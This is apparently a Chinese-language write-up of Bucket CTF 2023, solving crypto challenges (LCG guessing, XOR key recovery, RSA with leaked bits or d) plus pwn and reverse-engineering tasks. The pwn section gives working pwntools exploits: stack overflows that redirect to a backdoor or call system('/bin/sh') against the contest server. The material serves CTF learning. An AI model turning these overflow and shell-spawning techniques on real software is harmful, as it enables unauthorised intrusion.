[Bucket CTF 2023]

news/2024/5/19 21:36:12 标签: CTF

怎么感觉这比赛越来越难了呢。

Crypto

TBDLCG

唯一的提示就是题目的名字,对LCG来说它一定会有规律的。登录远程后,它会生成两个0-8的数,猜对得1分,不对对方得1分,赢了就行。试了两次发现,它真有规律,毕竟是密码签到,送分。

┌──(kali㉿kali)-[~/pwndbg]
└─$ nc 213.133.103.186 6915
You are playing a game of table tennis against Cogsworth64's AI bot.
The bot is only able to serve the ball, because Cogsworth64 disabled .
The bot will send a certain spin (represented by a number 0-8) and location (represented by a number 0-8) at each point. If you can guess the spin and location, you win the point. If you can't, the bot wins the point.
The first player to win 20 points wins the game. Try not to lose.

Your score: 0
Bot's score: 0
What is your guess for location?0
What is your guess for spin?0
You lose the point!
The bot's spin was 5 and location was 2
Your score: 0
Bot's score: 1
What is your guess for location?0
What is your guess for spin?0
You lose the point!
The bot's spin was 2 and location was 2
Your score: 0
Bot's score: 2
What is your guess for location?0
What is your guess for spin?0
You lose the point!
The bot's spin was 2 and location was 2
Your score: 0
Bot's score: 3
What is your guess for location?0
What is your guess for spin?0
You lose the point!
The bot's spin was 2 and location was 2
Your score: 0
Bot's score: 4
What is your guess for location?2
What is your guess for spin?2
You win the point!
Your score: 1
Bot's score: 4
What is your guess for location?2
What is your guess for spin?2
You win the point!
Your score: 2
Bot's score: 4
What is your guess for location?2
What is your guess for spin?2
You win the point!
Your score: 3
Bot's score: 4
What is your guess for location?2
What is your guess for spin?2
You win the point!
Your score: 4
Bot's score: 4
What is your guess for location?2
What is your guess for spin?2
You win the point!
You win the game!
b'bucket{#1_victory_royale_86f2b88341d8d}\n'

rotund bits 未完成

给了一堆数,不明白怎么旋转。

b'\xb3\xd7\x1b\x6b\x2c\xbc\x07 \xea\xd3\xfc\x5f\xe6\x37\xa0 \xa0\xff\x6c\x53\x37\xd7\xee \x9b\xba\x5b\xa4\x4c\xd7\xd7 \xbc\x9e\x6b\x51\xa4\x4b\xe0 \xf6\xc0\x9b\x3c\xf0\x68\x1d \xa6\xe7\x94\xdf\x63\xd9\xe2 \xf2\xf0\x1a\x66\x6a\xa2\x1f \x9e\x40\x1b\xb4\x5e\x35\xd2 \xd8\x2e\x40\xaa\xb5\xee\x6e \xd4\xf0\x2e\x3a\x1b\x0e\x99 \xb1\x16\xb4\x37\x17\xa4\x48 \xb0\xc1\x9a\xfa\x05\x28\xf4 \xbe\x49\xdd\xdb\x90\xa9\xc9 \xb1\xd4\xdd\x2b\x3a\xd2\x63 \xc3\xe3\x63\x69\x6c\x52 \xfe\xf3\xe1\x57\xdc\x57\xa1 \xc4\x62\x02\xec\xe9\xd5\x22 \xb7\x33\x17\x1b\xf2\x50\x2a \xf1\x9a\x06\x36\x18\xc3 \xeb\xd3\x3f\x9e\xc0\xfe\x17 \xe6\x59\x0c\x4c\xa0\xe2\xa5 \xae\x29\x8f\x8d\x8c\xdf\xea \xb5\xcd\x6e\x48\x3e\xab \xbb\xe5\x06\xd7\x33\xc5 \xba\x3e\xdf\xb9\xc6\xbb\xfb \xc8\xe1\xda\x15\xad\xf2\x91 \xcc\x92\x5d\x1e\x9d\x91 \xdc\xe6\x3e\x0b\x5c\xf5 \xfd\x6c\xd1\x57\x5b\xea\x41 \xa6\xf6\x5e\x56\xe2\x5a\x4f \xdf\x37\xc9\xba\xcd\x2e \xcb\x23\x31\x5b\x1a\xf3 \xaf\x30\x93\xf7\xbb\x17 \x93\x98\xff\xf2\xf4\x4c\xb7'

Psychology Random

感觉是难题不难,简单题不简单。

给了加密程序是用4字节为key进行异或加密,key每用一次会加一个数。

seedKey = [] # set of 4 human random numbers between 0 and 255 inclusive
addKey =  humanRandomGenerator(1,10) # human random number between 1 and 10 inclusive
for i in range(4):
    seedKey.append(humanRandomGenerator(0, 255))

with open("flag.txt", "rb") as f:
    flag = f.read()

encryptedFlag = bytearray()
for i in range(len(flag)):
    encryptedFlag.append(flag[i] ^ seedKey[i%4])
    seedKey[i%4] = (seedKey[i%4] + addKey) % 255

#b'\xea\x95\\>\x8a\xca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]p\xc6\xdb."\xda\xe011\xc0\xebo\x04\xd2\xaav\x1b\xa6\xf56\x1d\xa5\xabD\x03\xbe\x96K\xf6\xb1\x86\x1e\xa8\xab\x99\x0b\xe6\x90\x9d\xa0\xe1\x85e\xf5\xf8\x82b\xfc\x84\x82a\xe0\xd9#p\xf8\xc7i}\xd7\xd0~M\x8a\xb4yA\xd4\xb4?H\xd7\xbb\x08\x18\xe8\xbcYW\xe6\xaaQ4\xb4\xc3Y(\xa7\x9eb#\xb2\x82!>\x91\xd4p0\x80c?\x08\x82c~8\xd9.6\x1f\x9fbL:c}\x1d\xa5bEZ\xcdpG\xe8\xe0hX\xe7\xf4\x02Y\xe1\xc5\ty\xff\xc6Q(\xfe\xc6V!\x84\xf7W0'

这个很明显,4个字节key之间没有任何关系,所以不用爆破完整的32位,只需要一个个爆破8位就行。

由于ASCII字符高位都是0,从密文看每36次就会高会一次循环(一半高位0一半高位1)所以addKey=7(256/36),然后根据循环起点高位1的数量确定大概的范围,肉眼可见基本没有乱的可以确定key的值,很幸运第1个是I,第2个是空格,这种情况大概率是"I am..."

#根据高位变化规律,确定增量7 (256/36) 起点范围
b = [enc[i] for i in range(0,len(enc),4)]
[234, 138, 200, 202, 203, 163, 162, 186, 172, 144, 135, 149, 215, 155, 
105, 105, 103, 59, 113, 79, 30, 94, 91, 44, 37, 60, 35, 12, 27, 79, 4, 13, 
229, 229, 250, 185, 203, 135, 142, 197, 217, 170, 190, 182, 173, 172, 136, 140, 212, 140, 
35, 122, 117, 56, 63, 67, 67, 70, 72, 55, 57, 51, 56, 59, 22, 31, 22, 8, 
244, 237, 246, 243, 241, 136, 198, 223, 149, 163, 188, 130, 167, 236, 147, 171, 174, 173, 
46, 39, 46, 103, 115, 81, 10, 72, 24, 91, 37, 40, 53, 41, 14, 8, 6, 18, 9, 
169, 232, 254, 186, 209, 193, 198, 197, 212, 189, 191, 183, 170, 133, 131, 156, 133, 220, 
112, 109, 102, 120, 76, 9, 14, 71, 72, 42, 63, 35, 43, 57, 70, 77, 17, 12, 
242, 232, 224, 244, 241, 202, 223, 214, 219, 179, 166, 166, 191, 181, 128, 152, 210, 148, 
100, 127, 125, 54, 61, 76, 11, 87, 95, 46, 34, 39, 33, 41, 6, 3, 95, 12, 11, 
170, 232, 240, 242, 214, 202, 223, 214, 211, 229, 164, 189, 174, 193, 200, 157, 218, 153, 37, 98, 112, 111, 64, 88, 67, 89, 78, 33, 40, 55, 47, 20, 71, 78, 16, 92, 242, 254, 240, 252, 250, 201, 203, 213, 222, 163, 189, 162, 186, 183, 149, 137, 211, 150, 117, 41, 99, 114, 62, 76, 12, 65, 26, 36, 104, 61, 49, 50, 12, 4, 28, 28, 233, 169, 174, 181, 249, 192, 196, 220, 209, 219, 181, 190, 244, 251, 150, 201, 149, 150, 144, 108, 99, 52, 111, 65, 72, 81, 81, 83, 17, 39, 38, 40, 17, 6, 0, 23, 15, 211, 229, 247, 252, 201, 198, 218, 192, 210, 166, 165, 190, 177, 171, 144, 133, 130, 130, 35, 105, 126, 121, 63, 8, 89, 81, 89, 98, 33, 112, 63, 126, 54, 76, 29, 90, 232, 231, 225, 255, 254, 132]
for i1 in range(0x80-7*7, 0x80-7*7+10):
    c = [((i1+7*i)^b[i])&0xff for i in range(len(b))]
    print(i1, bytes(c))

根据大概数再通过结果修正,确实是I am 

seedKey = [163,181,61,83] #根据显示结果修正

m = []
for i in range(len(enc)):
    m.append(enc[i] ^ seedKey[i%4])
    seedKey[i%4] = (seedKey[i%4] + addKey) % 255

print(bytes(m))
'''
b'I am very sorry to let you know we are unable to offer you admission to Stanford. This decision in no way diminishes your application, which we know was completed with thoughtfulness and care. We were inspired by the hopes and dreams your application represents. We were humbled by the talent, commitment, bucket{sT1LL_crYPt0gRapHiCAlLy_s3cUR3...}, and heart you bring to your academics, extracurricular activities, work, and family responsibilities. Simply put, we wish we had more space in the first-year class. At every step in our process, from the moment we open an application to its eventual presentation in the admission committee, we bring the highest level of consideration to our decisions. Ultimately, these difficult decisions are made with conviction and clarity, and we do not conduct an appeal process. We recommend visiting our page of frequently asked questions for answers about our admission process. I also want to share an article I wrote several years ago for the Los Angeles Times. In it, I reflect on admission decisions in the context of educational journeys that encompass a lifetime. Thank you for applying to Stanford. We enjoyed learning about you, and we know you will thrive wherever your education takes you. With very best wishes, Richard H. Shaw Dean of Admission and Financial Aid'
'''

engma 未完成

古老的二战时期的加密方式,可我还是不会,网上的程序能搜到的也看不懂。

I found an old enigma machine and was messing around with it. I put a secret into it but forgot it. I remember some of the settings and have the output. Model: M3 Reflector: B Rotors: I II III Plugboard: AT BS DE FM IR KN LZ OW PV XY Output: rvvrw dxyfi cctev o

Wrap the solution in bucket{} and remove spaces.

search 0-3

RSA题n非常小,我都想爆力yafu了,结了p的前108位

from Crypto.Util.number import getPrime, inverse, bytes_to_long
from string import ascii_letters, digits
from random import choice

m = open("flag.txt", "rb").read()
p = getPrime(128)
q = getPrime(128)
n = p * q
e = 65537
l = (p-1)*(q-1)
d = inverse(e, l)

m = pow(bytes_to_long(m), e, n)
print(m)
print(n)

p = "{0:b}".format(p)
for i in range(0,108):
    print(p[i], end="")

直接coppersmith法

c = 13239107902510482241468033185859380635553681091807776989153122088094692164374
n = 70091368740163465220150076054753303343809342873669932172778520609948272787957
pa = 0b111100100011010111101101101111010111110001101001000111001000000100110110000110011010111100111110011111110110
P.<x> = PolynomialRing(Zmod(n))
f = pa*2**20 + x 
v = f.monic().small_roots(X=2^20, beta=0.4)

p = int(v[0])
q = n//p 
d = inverse_mod(e, (p-1)*(q-1))
m = pow(c,d,n)
#m = 10368895352824186465612502311017709829844509137436946597498767623293
bytes.fromhex(hex(m)[2:])
b'bucket{m3m0ry_L3Aks_4R3_bAD}'

第2题是泄露(p-2)*(q-2)

from Crypto.Util.number import getPrime, inverse, bytes_to_long
from string import ascii_letters, digits
from random import choice

m = open("flag.txt", "rb").read()
p = getPrime(128)
q = getPrime(128)
n = p * q
e = 65537
l = (p-1)*(q-1)
d = inverse(e, l)

m = pow(bytes_to_long(m), e, n)
print(m)
print(n)
leak = (p-2)*(q-2)
print(leak)

显然这东西算来算去就出来p+q了

c = 20921046497068379266125077526806962898582128837995542884725206089966377378921
n = 48840190338286448297079476326071154759298697427813544346418151575212559759237
leak = 48840190338286448297079476326071154758406784045723310119131706040174602802837
e = 65537

from z3 import *
from gmpy2 import invert 
from Crypto.Util.number import *

p,q = Int('p'),Int('q')
s = Solver()
s.add(p*q == n)
s.add(p+q == (n+4-leak)//2)
s.check()
v = s.model()

p = 252628846929635323275223893760360594943
q = 193327844115481790367998873758617883259
phi = (p-1)*(q-1)
d = invert(e,phi)
m = pow(c,d,n)
long_to_bytes(m)

第3题是泄露d求p

from Crypto.Util.number import getPrime, inverse, bytes_to_long, isPrime
from string import ascii_letters, digits
from random import choice

p = bytes_to_long(open("flag.txt", "rb").read())
m = 0
while not isPrime(p):
    p += 1
    m += 1
q = getPrime(len(bin(p)))
n = p * q
e = 65537
l = (p-1)*(q-1)
d = inverse(e, l)

m = pow(m, e, n)
print(m)
print(n)
print(d)

根据ed分解有模板的

c = 222994213978863330553922294717307292644132816052441853882119473623484428577112619863162149325375659637202223440222380339302067418973630
n = 334760575723542774705270019437269620423492572977096137042514415148155744817190838223911316211781496693341274968244658582355112978166371
d = 101530981943892148447695991216482418254692187208229548438196118679509954784936455455719628630318436454487703910570562418605156238653073
m = pow(c,d,n)
m = 0xe

from gmpy2 import gcd
import random 

def e_dn(e_d,n):
    k=e_d-1
    while True:
        g= random.randint(2,n-1)
        t=k
        while True:
            if t%2!=0:
                break
            t=t//2
            x=pow(g,t,n)
            if x > 1 and gcd(x-1, n) > 1:
                p=gcd(x-1,n)
                q=n//p
                return p,q

p,q = e_dn(e*d,n)
long_to_bytes(p-0xe)
#bucket{sw1tCH1nG_D1dNT_W0rK}

第4题这个头回见

n=p^2

from Crypto.Util.number import getPrime, inverse, bytes_to_long, isPrime
from string import ascii_letters, digits
from random import choice


m = bytes_to_long(open("flag.txt", "rb").read())
p = getPrime(128)
q = getPrime(128)
n = p * p
e = 65537
l = (p-1)*(p-1)
d = inverse(e, l)

m = pow(m, e, n)
print(m)
print(n)

虽然很容易求p但显然得到的不是flag,所以有个问题,flag比n大,经过两次取crt,然后用n1*n2作模就够大了。

c1 = 47797682737892115953484395180518349264285435110589415752726386351563180397052
n1 = 53864074128388087701868621546438818337217026484044077665023474433395091270761
c2 = 23778649669106866245954474032238747691063562599599963306072366934189019821037
n2 = 30185375866517447300635112066453153581171712702736030398246225895796204467721

me = crt([c1,c2],[n1,n2])
#me = 1315219050916415178472726952023611679667569911911680490293416891601335959710605129296605584509235799345693878394241999540884629338622342728012202283121154

p = iroot(n1,2)[0]
q = iroot(n2,2)[0]
d = invert(e, p*(p-1)*q*(q-1))
m = pow(me,d,n1*n2)
print(long_to_bytes(m))

#bucket{th4_F1N4l_L3v3l_0f_3nCRypT10N}

PWN

Parrot 未完成

签到就坑,是个盲pwn题,输入‘%p’*n会出数,显然是个格式化字符串漏洞。经过测试得到栈的情况,下午以后这个地址就不再变,显然是ALSR关掉了,也就是地址都知道。

偏移栈地址长度
80x7fffffffebb0输入值 0x40
190x7fffffffec08libc_start_main_ret
230x7fffffffed18
260x7fffffffed18

1,有两个可修改的指针;

2,返回地址直接是libc_start_main所以直接这是在main里运行的,没有函数;

3,libc版本是libc-2.35 有点高啊

4,输入只有64字节(短)

试了one_gadget没成功,可能需要改one的条件,但本地没有调试猜条件很困难。

starting place

签到,12个字节后是command,直接输入就行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char input_buf[12]; // [esp+0h] [ebp-28h] BYREF
  char command[20]; // [esp+Ch] [ebp-1Ch] BYREF
  int *p_argc; // [esp+20h] [ebp-8h]

  p_argc = &argc;
  strcpy(command, "ls");
  puts("Hi! would you like see the current directory?");
  read(0, input_buf, 0x1Cu);
  if ( !strcmp(input_buf, "no\n") )
  {
    puts("ok");
    exit(0);
  }
  puts("Ok \n");
  system(command);
  return 0;
}

never call

有溢出有后门,ALSR是关的,所以地址全知道,直接溢出

from pwn import *

#p = process('./shell1')
p = remote('213.133.103.186', 6795)
context(arch='i386', log_level='debug')

#0xffcdb000 0xffcfc000 rwxp      [stack]
p.sendlineafter(b"Enter your name: ", b'A'*62+ p32(0x12ab+0x56555000)) #"Enter your name: "

p.interactive()

shell,shell harder

没get到这两个题的出题点,由于没有了直接用的后门,需要自己调起

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  puts("Starting program");
  getMessage();
  printf("back.");
  printf("Exiting!");
  exit(0);
}
void getMessage()
{
  char string[50]; // [esp+Eh] [ebp-3Ah] BYREF

  printf("Enter your name: ");
  gets(string);
  printf("Hello, %s\n", string);
}
void __cdecl printFlag(char *command)
{
  printf(command);
  system(command);
}

但是有个小问题,如果直接输入bin/sh的话在printf的时候会覆盖掉,不过ALSR未开的情况下libc地址也是固定的。libc里的/bin/sh可以直接用。

两题用同一程序即可。

from pwn import *

#p = process('./shell2')
p = remote('213.133.103.186', 7007)
context(arch='i386', log_level='debug')
elf = ELF('./shell2')
elf.address = 0x56555000
libc_base = 0xf7d8a000
bin_sh = libc_base + 0x1b90f5

p.sendlineafter(b"Enter your name: ", b'\x00'.ljust(62, b'\x00')+ flat(elf.sym['printFlag'],ret, bin_sh) ) # 
p.recvline()

p.interactive()

REV

就做俩题,感觉很难

Apps

略,flag在原码里

Tetris

z3题,不过有个小坑,直接算不出结果,不完全约束。

    i = 0;
    for (byte b3 = 0; b3 < 8; b3++)
      i += arrayOfInt[b3]; 
    if (i == 877)
      b2 = 1; 
    if (arrayOfInt[13] == arrayOfInt[16] && arrayOfInt[13] == arrayOfInt[21])      bool1 = true; 
    if (arrayOfInt[19] == 7 * (arrayOfInt[12] - arrayOfInt[13]) / 2)      bool2 = true; 
    if (arrayOfInt[13] + arrayOfInt[12] == arrayOfInt[16] + arrayOfInt[15])      bool3 = true; 
    if (arrayOfInt[7] + arrayOfInt[8] + arrayOfInt[9] - 51 == 2 * arrayOfInt[9])      bool4 = true; 
    if (arrayOfInt[8] == arrayOfInt[20])      bool5 = true; 
    if (arrayOfInt[10] + arrayOfInt[11] - arrayOfInt[17] - arrayOfInt[18] == arrayOfInt[10] - arrayOfInt[17])bool6 = true; 
    if (arrayOfInt[20] == 51)      bool11 = true; 
    if (arrayOfInt[22] + arrayOfInt[23] == arrayOfInt[22] * 2)      bool7 = true; 
    if (arrayOfInt[9] - arrayOfInt[17] == 40)      bool12 = true; 
    if (arrayOfInt[10] - arrayOfInt[17] - 6 == 0)      bool13 = true; 
    if (arrayOfInt[2] - arrayOfInt[11] == 50)      bool10 = true; 
    if (arrayOfInt[24] - arrayOfInt[12] == 10)      bool14 = true; 
    if (arrayOfInt[13] + arrayOfInt[15] == 2 * arrayOfInt[14])      bool8 = true; 
    if (arrayOfInt[23] == arrayOfInt[22] && 3 * arrayOfInt[23] == arrayOfInt[2])      bool9 = true; 
    String str2 = "";
    for (byte b4 = 0; b4 < arrayOfInt.length; b4++)
      str2 = str2 + (char)arrayOfInt[b4]; 
    if (b2 != 0 && bool1 && bool2 && bool3 && bool4 && bool5 && bool6 && bool7 && bool8 && bool9 && bool11 && bool12 && bool13 && bool10 && bool14)
      return "correct flag: " + str2; 
    return "wrong flag: " + str2;

先用z3解出个初步结果

from z3 import *

s = Solver()
a = [BitVec(f'a_{i}',8) for i in range(25)]

for i in range(25):
    s.add(a[i]>=0x20)
    s.add(a[i]<=0x7f)
head = b'bucket{'
for i,v in enumerate(head):
    s.add(a[i] == v)
s.add(a[24] == ord('}'))    
s.add(a[0]+a[1]+a[2]+a[3]+a[4]+a[5]+a[6]+a[7] == 877)
s.add(a[13] == a[16])
s.add(a[13] == a[21])
s.add(a[19]*2 == 7*(a[12]-a[13]))
s.add(a[13]+a[12] == a[15]+a[16])
s.add(a[7]+a[8]-51 == a[9])
s.add(a[8] == a[20])
s.add(a[11] == a[18])
s.add(a[20] == 51)
s.add(a[22] == a[23])
s.add(a[9]-a[17] == 40)
s.add(a[10]-a[17] == 6)
s.add(a[2]-a[11] == 50)
s.add(a[24]-a[12] == 10)
s.add(a[13]+a[15] == 2*a[14])
s.add(a[23] == a[22])
s.add(a[23]*3 == a[2])
s.check()
d = s.model()

flag = ''
for i in range(25):
    flag+= chr(d[a[i]].as_long())

print(flag)

flag = list(b'bucket{t3tR1sinsiL1#3i!!}')

剩下不能完全确定 13,16,21,19,14 需要从13这爆破一下(后边都由13推出)

flag = list(b'bucket{t3tR1sinsiL1#3i!!}')
for i in range(0x21,0x7f,2):
    flag[13]= i 
    flag[16]= i
    flag[21]= i 
    flag[19]= (flag[12]-flag[13])*7//2
    if not 0x20<=flag[19]<=0x7f:
        continue 
    flag[14]= (flag[13]+flag[15])//2
    if not 0x20<=flag[14]<=0x7f:
        continue
    print(bytes(flag))

#bucket{t3tR1s_is_L1F3_!!} ?不对


http://www.niftyadmin.cn/n/211420.html

相关文章

华为OD 快问快答,你想了解的我都知道

文章目录核心的华为 OD 机试机试是现场还是远程&#xff1f;机试时有基础的输入输出模板吗&#xff1f;机试可以反复提交直到所有的案例都过了(满分)为止吗&#xff1f;华为 OD 机试后 面试过程 中提问机试的可能性有多大&#xff1f;在网上能收集到的大部分都是说共 3 题(1001…

nodejs+express学习笔记

文章目录基础回顾js初识nodejs内置apifs文件系统模块path路径模块http模块模块化基本概念nodejs中的模块化包模块加载机制express初始express托管静态资源nodemon路由中间件cors跨域资源共享数据库与身份认证数据库基本概念安装并配置MySqlmysql常用操作前后端的身份认证基础 …

[linux kernel]slub内存管理分析(7) MEMCG的影响与绕过

文章目录背景前情回顾描述方法约定MEMCG总览省流总结简介slub 相关 memcg机制kernel 5.9 版本之前结构体初始化具体实现kernel 5.9-5.14kernel 5.14 之后突破slab限制方法cross cache attackpage 堆风水总结背景 前情回顾 关于slab几个结构体的关系和初始化和内存分配和释放的…

五.microchip 代理贝能的sam d51(LQFP100PIN)与LAN9253 电机控制开发板使用总结(3)

五.microchip 代理贝能的sam d51(LQFP100PIN)与LAN9253 电机控制开发板使用总结&#xff08;3&#xff09; 3.4 板子相关外设配置 3.4.1 板子MCU硬件 的LAN9253连接接口 pin numpin idcus_namefuncmodedirlatchpush uppush downdir str1PA00GPIO_PA0_D0GPIOINYNORMAL2PA01GP…

常用的SQL语句

前言 SQL(Structured Query Language)结构化查询语言&#xff0c;用于存取&#xff0c;查询&#xff0c;更新数据以及管理关系型数据库系统 SQL是1981年由IBM公司推出 SQL分类 根据SQL指令完成的数据库操作的不同&#xff0c;可以将SQL指令分为四类&#xff1a; DDL (Data Def…

安装spacy+zh_core_web_sm避坑指南

目录 一、spacy简介 二、安装spacy 三、安装zh_core_web_sm 四、安装en_core_web_sm 五、效果测试 5.1 英文测试 5.2 中文测试 一、spacy简介 spacy是Python自然语言处理&#xff08;NLP&#xff09;软件包&#xff0c;可以对自然语言文本做词性分析、命名实体识别、依赖…

职场小白的十条军规

现在 又到了应届生毕业找工作的时间了 那这两天我们公司也在一直的面试 招人啊 马上呢 就会有一批新鲜的血液来到我们公司 那今天我就想起来这个话题 就是关于职场小白要注意的一些事情 是怎么回事呢 我有一个同事他已经不是小白了 他来我们公司一年了 但是呢他最近心态老是有问…

《计算机网络-自顶向下》06. 链路层和局域网

文章目录链路层概述链路层提供的服务链路层在何处实现差错检测和纠正技术奇偶校验循环冗余检测多路访问协议信道划分协议随机接入协议时隙 ALOHAALOHA载波侦听多路访问 —— CSMA具有碰撞检测的载波侦听多路访问 —— CSMA/CDCSMA/CD 效率轮流协议DOCSIS&#xff1a;用于电缆因…